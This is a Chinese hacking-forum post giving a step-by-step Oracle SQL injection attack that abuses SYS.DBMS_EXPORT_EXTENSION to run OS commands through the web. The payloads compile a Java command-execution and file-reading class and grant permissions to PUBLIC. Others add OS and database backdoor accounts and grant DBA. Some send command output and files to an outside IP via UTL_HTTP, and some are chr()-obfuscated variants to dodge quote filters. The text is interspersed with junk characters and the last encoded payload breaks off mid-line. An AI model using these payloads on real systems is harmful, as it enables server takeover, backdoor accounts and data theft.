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犀利的 oracle 注入技术

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发表于 2012-9-13 16:49:51 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
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" w+ y, E) }% e; g% R介绍一个在web上通过oracle注入直接取得主机cmdshell的方法。
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以下的演示都是在web上的sql plus执行的,在web注入时 把select SYS.DBMS_EXPORT_EXTENSION.....改成
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/ r6 V1 k! ]9 b0 I  L/xxx.jsp?id=1 and '1'<>'a'||(select SYS.DBMS_EXPORT_EXTENSION.....)
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的形式即可。(用" 'a'|| "是为了让语句返回true值): @5 ?+ G! N6 W, _% V. u2 J) K

* \  {: U( k0 i+ J5 k语句有点长,可能要用post提交。
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# t" X. \9 }( X5 V" i以下是各个步骤:& L, h* w& |; \! l# G, {
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1.创建包3 w9 @0 T! Q2 X3 \1 I; M
通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:: n  m) d+ Q1 Q4 g( W

8 L& A' S! p" Y/xxx.jsp?id=1 and '1'<>'a'||(
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  m/ ^, }+ d% H1 lselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
- O% q" _* Z$ E! Hcreate or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(
  a' y& `0 o5 t0 E; k" gnew InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}public static String readFile(String filename){try{BufferedReader myReader= new BufferedReader(new FileReader(filename)); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}! R: [; m" b! v6 |$ d
}'''';END;'';END;--','SYS',0,'1',0) from dual, D1 U$ L' |/ W4 K0 Z

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------------------------
1 S5 {* T* ]+ S, B如果url有长度限制,可以把readFile()函数块去掉,即:7 F3 W' I8 v" B
/xxx.jsp?id=1 and '1'<>'a'||(1 ?4 P6 e5 i6 w* v, C7 r
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''9 g. T5 H3 \1 N+ v% l  o, B1 d
create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(/ c3 J$ N8 Z8 A9 \& o7 Z  R8 p2 V# ^
new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}
, `, T6 p+ Z. B0 N, R0 Q' k}'''';END;'';END;--','SYS',0,'1',0) from dual2 ]3 j( {, B) B- o

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* e7 k! Y6 i0 j同时把后面步骤 提到的 对readFile()的处理语句去掉。
2 l3 z2 z% w9 r, c6 @------------------------------
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2.赋Java权限
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! a' q8 I- q+ f! {9 e5 F; u- b6 }; oselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''begin dbms_java.grant_permission( ''''''''PUBLIC'''''''', ''''''''SYS:java.io.FilePermission'''''''', ''''''''<<ALL FILES>>'''''''', ''''''''execute'''''''' );end;'''';END;'';END;--','SYS',0,'1',0) from dual
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# q/ Q1 u( J0 G$ |0 R+ V" U. ?3.创建函数
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''. y, ^/ F) A' h4 o
create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''''''LinxUtil.runCMD(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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. S* i% b: H3 F! C& @1 ^select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''' m9 q6 k9 {* e
create or replace function LinxReadFile(filename in varchar2) return varchar2 as language java name ''''''''LinxUtil.readFile(java.lang.String) return String''''''''; '''';END;'';END;--','SYS',0,'1',0) from dual
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4.赋public执行函数的权限
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxRunCMD to public'''';END;'';END;--','SYS',0,'1',0) from dual
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select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on LinxReadFile to public'''';END;'';END;--','SYS',0,'1',0) from dual+ E! g" O3 D/ C; l) S- G7 }

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; R: b" P+ c9 ]4 X5.测试上面的几步是否成功, s9 f: r8 K2 @* P! @
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and '1'<>'11'||(" E9 T5 L4 C, g' r1 m5 Y
select OBJECT_ID from all_objects where object_name ='LINXRUNCMD'2 ?) ?- E' H+ D
)
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select OBJECT_ID from all_objects where object_name ='LINXREADFILE'
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  L0 G( K1 a7 p/ f0 `6.执行命令:+ D) W, X1 l1 x9 W* ^0 z

$ M/ b6 R0 E4 K' Q6 g/xxx.jsp?id=1 and '1'<>(
  j1 p, o- }4 u( e! {select sys.LinxRunCMD('cmd /c net user linx /add') from dual& A2 ~7 Q7 i! y
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/xxx.jsp?id=1 and '1'<>(3 D' A* ~" d6 ?# v  e
select sys.LinxReadFile('c:/boot.ini') from dual
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, Z' P* @; Q! `/ `/ ]注意sys.LinxReadFile()返回的是varchar类型,不能用"and 1<>" 代替 "and '1'<>"。
3 a6 ?5 z  b( [* A7 b如果要查看运行结果可以用 union :+ ]" z  ^. Y- N* W2 L( N" m/ ]! H# z

3 J  x2 }7 M, p; ^: F6 P/xxx.jsp?id=1 union select sys.LinxRunCMD('cmd /c net user linx /add') from dual
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或者UTL_HTTP.request(:
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/xxx.jsp?id=1 and '1'<>(
7 Z1 b- ~' B- r: q# JSELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxRunCMD('cmd /c net user aaa /del'),' ','%20'),'\n','%0A')) FROM dual
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$ U  N/ D; ]) N+ S; Z) P; b. l/xxx.jsp?id=1 and '1'<>($ w) d9 O0 q9 d. o" t0 X
SELECT UTL_HTTP.request('http://211.71.147.3/record.php?a=LinxRunCMD:&#39;||REPLACE(REPLACE(sys.LinxReadFile('c:/boot.ini'),' ','%20'),'\n','%0A')) FROM dual
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5 P& s% [* H& N! ]8 F# E; w; `0 G1 I3 w注意:用UTL_HTTP.request时,要用 REPLACE() 把空格、换行符给替换掉,否则会无法提交http request。用utl_encode.base64_encode也可以。4 z/ H5 @6 l+ m
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--------------------" O+ P- u3 g) ~
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6.内部变化
: n4 j# B. E+ Z" u! c通过以下命令可以查看all_objects表达改变:
7 k5 V) X" w! V2 Y/ i2 L! |* Bselect * from all_objects where object_name like '%LINX%' or object_name like '%Linx%'
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7.删除我们创建的函数
/ t, f1 o$ F% ^4 ^! b: g+ [& n, s- Iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
5 I  Q4 ~6 I0 I. Zdrop function LinxRunCMD '''';END;'';END;--','SYS',0,'1',0) from dual
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! }; l- p9 X. @: o2 n: g====================================================
! G: \1 G# f3 i' @- G全文结束。谨以此文赠与我的朋友。. u8 K* m( R+ e$ ~
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linx
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* S* o# `$ }, o( g. O8 ^2 blinyujian@bjfu.edu.cn+ d/ D" _7 r0 d3 v
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5 s4 [- Q/ @" u======================================================================4 k8 \. K8 r4 T+ T  `
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测试漏洞的另一方法:
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创建oracle帐号:
- B3 X3 {, J4 F; _select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE '''') W' H9 \( @. x6 R8 p; B
CREATE USER linxsql IDENTIFIED BY linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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即:3 y- k0 v1 m0 Y3 w3 F; w
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
% n4 i0 B/ V0 Rchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(67)||chr(82)||chr(69)||chr(65)||chr(84)||chr(69)||chr(32)||chr(85)||chr(83)||chr(69)||chr(82)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(32)||chr(73)||chr(68)||chr(69)||chr(78)||chr(84)||chr(73)||chr(70)||chr(73)||chr(69)||chr(68)||chr(32)||chr(66)||chr(89)||chr(32)||chr(108)||chr(105)||chr(110)||chr(120)||chr(115)||chr(113)||chr(108)||chr(39)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(39)||chr(59)||chr(69)||chr(78)||chr(68)||chr(59)||chr(45)||chr(45),chr(83)||chr(89)||chr(83),0,chr(49),0) from dual& k; b6 l. J+ D+ [2 B5 p1 E& W
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确定漏洞存在:
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# w! Z" K8 J( y! M: Z) ~. eselect user_id from all_users where username='LINXSQL'! Q7 |% |4 K& \6 h
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给linxsql连接权限:" h3 A6 T0 U; S6 l6 K/ Y6 H7 Q
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
8 ~: a& q, V+ N4 dGRANT CONNECT TO linxsql'''';END;'';END;--','SYS',0,'1',0) from dual
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: q2 U* G) D* X' ~/ j删除帐号:
& E& y; N3 t, J/ g6 ]select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
4 s/ }9 m/ J$ r# x# Xdrop user LINXSQL'''';END;'';END;--','SYS',0,'1',0) from dual- @$ ?, k' B& q% }( ~) C
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======================9 I; l7 l8 C& T* v7 I2 N6 w* e

& @: R" s' V% M, J以下方法创建一个可以执行多语句的函数Linx_query(),执行成功的话返回数值"1",但权限是继承的,可能仅仅是public权限,作用似乎不大,真的要用到话可以考虑grant dba to 当前的User:( g3 j2 T4 K  q" I7 X7 |& ?0 B' h

8 {9 L) L- ^0 s% V6 z8 E1 o( L  a  U1.jsp?id=1 and '1'<>(3 N! ]4 I0 w9 Y" P" ]5 D
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
# t: K& G; ~& [6 Z+ zcreate or replace function Linx_query (p varchar2) return number authid current_user is begin execute immediate p; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual
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2 s0 u: W0 [1 r* ?1.jsp?id=1 and '1'<>() C7 z! X) Z/ J' O4 y7 O+ _
select SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''grant all on Linx_query to public'''';END;'';END;--','SYS',0,'1',0) from dual
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1.jsp?id=1 and '1'<>(5 K, B4 s: n4 b4 L  o
SELECT sys.Linx_Query('SELECT 14554 FROM DUAL') FROM DUAL
. g4 d& U, {( T% V5 I) and ...
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3 I/ J; ]7 G, R$ i1.jsp?id=1 and '1'<>(, r0 x" I" K6 Y6 {% {8 P% d
SELECT sys.Linx_Query('declare pragma
# b" d# p% Y8 V& f( mautonomous_transaction; begin execute immediate ''. T, b7 Y. M% {" T
select 1 from dual
, D# L; n- o" H4 D, F''; commit; end;') from dual
4 A* K6 H) h$ k0 o  R; G) h5 v) and ...
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: ]2 h* Z+ M1 z$ q多语句:. t$ M3 d5 f2 k8 `$ H# ?, f1 z, M
SELECT sys.Linx_Query('declare temp varchar2(200); begin select 1 into temp from dual; select 2 into temp from dual; end;') from dual4 |4 [5 q/ ~: k9 a# {
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创建用户(除非当前用户有system权限,否则无法成功):2 H! n! k; P2 T$ Z4 n
SELECT sys.Linx_Query('declare pragma0 _. g2 N$ ?4 u% p
autonomous_transaction; begin execute immediate ''8 C; E. i! F! I- w3 s% B9 b
CREATE USER Linx_Query_User IDENTIFIED BY Linx_Query_User* B2 W" a2 }7 u* o1 ~2 s1 z; N
''; commit; end;') from dual
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以下的方法是先建立函数Linx_Query(),再建立 RunCMD2()5 u% n4 v. e, y! J. |3 k

# T# \8 V1 m' i0 h1.创建函数
3 g. r/ r! N6 |  {/ T4 ~2 ~% t! Eselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''
: r% ], M! j, e/ U& K- W5 mcreate or replace function Linx_Query (p
7 J" s# w- _: ~4 {8 Pvarchar2) return number authid current_user is begin execute immediate
. A7 H* K5 K5 sp; return 1; end; '''';END;'';END;--','SYS',0,'1',0) from dual;2 ~7 D4 @" R5 }8 T0 ?0 w, u
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如果有权限,以下语句应该允许正常
( ~7 w  L# g6 J$ Q# W) s' s8 O- ]select sys.linx_query('select 1 from dual') from dual;
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5 r4 {1 [  Q7 c1 O: h% q' p) l不然的话运行:+ q+ g# {% R( e% V: F0 G

, k* I8 B9 H3 ?. |8 o8 v) zselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES('FOO','BAR','DBMS_OUTPUT".PUT(:P1);EXECUTE IMMEDIATE ''DECLARE PRAGMA AUTONOMOUS_TRANSACTION;BEGIN EXECUTE IMMEDIATE ''''+ U6 b4 V( F% H4 s: B$ B
grant dba to 当前的User'''';END;'';END;--','SYS',0,'1',0) from dual
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2.创建包  G" ]" n& ]' ]; Y9 P: i
SELECT sys.Linx_Query('declare pragma3 n: c7 ?2 A8 V5 a- H, y/ D
autonomous_transaction; begin execute immediate ''
/ D# T1 i) V8 }* m9 `create or replace and compile java source named "LinxUtil2" as import java.io.*;public class LinxUtil2 extends Object {public static String RunCMD(String args) throws IOException{BufferedReader myReader= new BufferedReader(
% i0 T: U+ z5 e) @. d% ]new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";return str;}}''; commit; end;') from dual2 @. s7 Y& m$ y$ e7 l

- c' @, M+ o* H$ d- V8 Y9 L3.创建函数
# D6 H) V$ u+ P1 C$ H4 n  A4 LSELECT sys.Linx_Query('declare pragma" }& R- K1 w4 O- G1 t% |6 ~
autonomous_transaction; begin execute immediate ''
% R4 T- @) x) E' screate or replace function RunCMD2(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil2.RunCMD(java.lang.String) return String'''';''; commit; end;') from dual
" V( X* w1 `3 u. K' N) R5 I* }1 c
7 |8 x* n7 Y4 \) `& F4.给权限
( M: }% r( f5 y6 S  ], n$ e# n5 ?6 N给用户SYSTEM执行权限:7 u9 T% \1 B; }! M
8 T/ J! ~, i- u+ H* l
SELECT sys.Linx_Query('declare pragma autonomous_transaction;begin dbms_java.grant_permission( ''SYSTEM'', ''SYS:java.io.FilePermission'', ''<<ALL FILES>>'', ''execute'' );end;') from dual
3 c; C( \1 a; @2 x  Y$ ~  ~+ A' \
& f8 _, V4 E! a  ]6 ~, A
9 }4 k. h' I" S7 t. B* U1 Z3 v+ Q, a  V+ P
5.执行函数
3 b; y% ?! _; [1 `5 g! Uselect RunCMD2('cmd /c dir') from dual9 K2 ]: v% @& J
5 t2 }4 Z9 Q# v( S' g
* N& _4 M, }8 n0 d3 ^9 V
, s- u! m% w/ E/ b

+ n% s3 N" K" P* Q  e7 V0 _: \9 d' B$ a2 ?
==================
* }2 L- W$ l% }5 }, X- q7 C/ m================================; P, Y$ T$ C- s/ K  ^. r, R5 p/ I# s

$ s; Q, d' W* F以下是无 " ' " 版:2 o0 }8 D! i. \! `7 ~
( D: g; r1 Z. z( ?. O! r/ j3 C
以下是各个步骤:
1 w  F0 C  B' x" V4 @7 {  Q; y9 }
2 Y! {- o# N: w9 _1.创建包
/ A, U6 N8 e$ ]% T: S通过注入 SYS.DBMS_EXPORT_EXTENSION 函数,在oracle上创建Java包LinxUtil,里面两个函数,runCMD用于执行系统命令,readFile用于读取文件:% k( z" ^7 R, f& N6 Y1 z) p' K" I; J
因为建立了两个函数,转换为ascii后,语句更长了,注意提交时不要把换行去掉,否则执行不成功的:5 B- F1 u; |7 q) p

  }2 x7 ]) ?+ |& i; o- `7 ^/xxx.jsp?id=1 and chr(49)<>chr(50)||(, H1 X8 Z1 `3 x

# S: J, z5 }3 p* p* iselect SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(70)||chr(79)||chr(79),chr(66)||chr(65)||chr(82),
+ @1 T4 ?8 m8 b: \7 ^# pchr(68)||chr(66)||chr(77)||chr(83)||chr(95)||chr(79)||chr(85)||chr(84)||chr(80)||chr(85)||chr(84)||chr(34)||chr(46)||chr(80)||chr(85)||chr(84)||chr(40)||chr(58)||chr(80)||chr(49)||chr(41)||chr(59)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||chr(84)||chr(69)||chr(32)||. w2 m! ^7 w) A; {) x% q
chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(68)||chr(69)||chr(67)||chr(76)||chr(65)||chr(82)||chr(69)||chr(32)||chr(80)||chr(82)||chr(65)||chr(71)||chr(77)||chr(65)||chr(32)||chr(65)||chr(85)||chr(84)||chr(79)||6 ^# C+ y! H4 r% I* P# h
chr(78)||chr(79)||chr(77)||chr(79)||chr(85)||chr(83)||chr(95)||chr(84)||chr(82)||chr(65)||chr(78)||chr(83)||chr(65)||chr(67)||chr(84)||chr(73)||chr(79)||chr(78)||chr(59)||chr(66)||chr(69)||chr(71)||chr(73)||chr(78)||chr(32)||chr(69)||chr(88)||chr(69)||chr(67)||chr(85)||
& ?- X9 T6 D2 Gchr(84)||chr(69)||chr(32)||chr(73)||chr(77)||chr(77)||chr(69)||chr(68)||chr(73)||chr(65)||chr(84)||chr(69)||chr(32)||chr(39)||chr(39)||chr(32)||chr(32)||chr(99)||chr(114)||chr(101)||chr(97)||chr(116)||chr(101)||chr(32)||chr(111)||chr(114)||chr(32)||chr(114)||chr(101)||chr(112)||
0 u  x" L; m; [' w) ichr(108)||chr(97)||chr(99)||chr(101)||chr(32)||chr(97)||chr(110)||chr(100)||chr(32)||chr(99)||chr(111)||chr(109)||chr(112)||chr(105)||chr(108)||chr(101)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||chr(32)||chr(115)||chr(111)||chr(117)||chr(114)||chr(99)||chr(101)||chr(32)||chr(110)||4 x. }, M; r$ D
chr(97)||chr(109)||chr(101)||chr(100)||chr(32)||chr(34)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(34)||chr(32)||chr(97)||chr(115)||chr(32)||chr(105)||chr(109)||chr(112)||chr(111)||chr(114)||chr(116)||chr(32)||chr(106)||chr(97)||chr(118)||chr(97)||4 M. R, k$ L' @$ m$ A! y* Q3 n2 `
chr(46)||chr(105)||chr(111)||chr(46)||chr(42)||chr(59)||chr(32)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(99)||chr(108)||chr(97)||chr(115)||chr(115)||chr(32)||chr(76)||chr(105)||chr(110)||chr(120)||chr(85)||chr(116)||chr(105)||chr(108)||chr(32)||chr(101)||
( {8 u+ X+ H3 H0 Cchr(120)||chr(116)||chr(101)||chr(110)||chr(100)||chr(115)||chr(32)||chr(79)||chr(98)||chr(106)||chr(101)||chr(99)||chr(116)||chr(32)||chr(123)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||9 w* x- k) g& q% v$ b6 T* U% w
chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(117)||chr(110)||chr(67)||chr(77)||chr(68)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(32)||chr(123)||chr(116)||chr(114)||chr(121)||8 C7 e# J0 w2 v- B: M
chr(123)||chr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||
* B5 G( u; `2 Dchr(66)||chr(117)||chr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||
9 W; l9 s0 a& q7 k/ w9 _chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(32)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(46)||chr(103)||chr(101)||chr(116)||chr(82)||chr(117)||chr(110)||chr(116)||chr(105)||chr(109)||chr(101)||chr(40)||chr(41)||chr(46)||chr(101)||
' j3 X# H9 j$ w; q( ^/ a$ }chr(120)||chr(101)||chr(99)||chr(40)||chr(97)||chr(114)||chr(103)||chr(115)||chr(41)||chr(46)||chr(103)||chr(101)||chr(116)||chr(73)||chr(110)||chr(112)||chr(117)||chr(116)||chr(83)||chr(116)||chr(114)||chr(101)||chr(97)||chr(109)||chr(40)||chr(41)||chr(32)||chr(41)||chr(32)||chr(41)||) M1 r" k( A* D$ D3 ?6 ~/ l
chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||
, u, k  T$ e3 Z/ ychr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||chr(110)||chr(101)||chr(40)||chr(41)||chr(41)||chr(32)||chr(33)||
# x2 b( |; d& c* x5 X! R. }" _chr(61)||chr(32)||chr(110)||chr(117)||chr(108)||chr(108)||chr(41)||chr(32)||chr(115)||chr(116)||chr(114)||chr(32)||chr(43)||chr(61)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(43)||chr(34)||chr(92)||chr(110)||chr(34)||chr(59)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||
) m& L5 C4 @  ^7 k6 ]. Y3 Zchr(100)||chr(101)||chr(114)||chr(46)||chr(99)||chr(108)||chr(111)||chr(115)||chr(101)||chr(40)||chr(41)||chr(59)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(115)||chr(116)||chr(114)||chr(59)||chr(125)||chr(32)||chr(99)||chr(97)||chr(116)||chr(99)||chr(104)||
  t4 M( u6 |( o  w  Q# C% Cchr(32)||chr(40)||chr(69)||chr(120)||chr(99)||chr(101)||chr(112)||chr(116)||chr(105)||chr(111)||chr(110)||chr(32)||chr(101)||chr(41)||chr(123)||chr(114)||chr(101)||chr(116)||chr(117)||chr(114)||chr(110)||chr(32)||chr(101)||chr(46)||chr(116)||chr(111)||chr(83)||chr(116)||chr(114)||chr(105)||
5 u, r1 ]+ I: c/ c% N: pchr(110)||chr(103)||chr(40)||chr(41)||chr(59)||chr(125)||chr(125)||chr(112)||chr(117)||chr(98)||chr(108)||chr(105)||chr(99)||chr(32)||chr(115)||chr(116)||chr(97)||chr(116)||chr(105)||chr(99)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(114)||chr(101)||
$ Z: ~9 Z3 Y0 j6 }. X; Tchr(97)||chr(100)||chr(70)||chr(105)||chr(108)||chr(101)||chr(40)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(102)||chr(105)||chr(108)||chr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(123)||chr(116)||chr(114)||chr(121)||chr(123)||chr(66)||chr(117)||
# F9 u. p- W' X9 S# K+ \# m9 c! tchr(102)||chr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(61)||chr(32)||chr(110)||chr(101)||chr(119)||chr(32)||chr(66)||chr(117)||chr(102)||
3 G% g# G! P2 ochr(102)||chr(101)||chr(114)||chr(101)||chr(100)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(110)||chr(101)||chr(119)||chr(32)||chr(70)||chr(105)||chr(108)||chr(101)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(40)||chr(102)||chr(105)||chr(108)||
7 x  y, C3 ^8 M- Bchr(101)||chr(110)||chr(97)||chr(109)||chr(101)||chr(41)||chr(41)||chr(59)||chr(32)||chr(83)||chr(116)||chr(114)||chr(105)||chr(110)||chr(103)||chr(32)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(44)||chr(115)||chr(116)||chr(114)||chr(61)||chr(34)||chr(34)||chr(59)||chr(119)||9 k% b! f% o. m$ ~5 ?
chr(104)||chr(105)||chr(108)||chr(101)||chr(32)||chr(40)||chr(40)||chr(115)||chr(116)||chr(101)||chr(109)||chr(112)||chr(32)||chr(61)||chr(32)||chr(109)||chr(121)||chr(82)||chr(101)||chr(97)||chr(100)||chr(101)||chr(114)||chr(46)||chr(114)||chr(101)||chr(97)||chr(100)||chr(76)||chr(105)||& j& j* `' f' m; j. B' ~! X
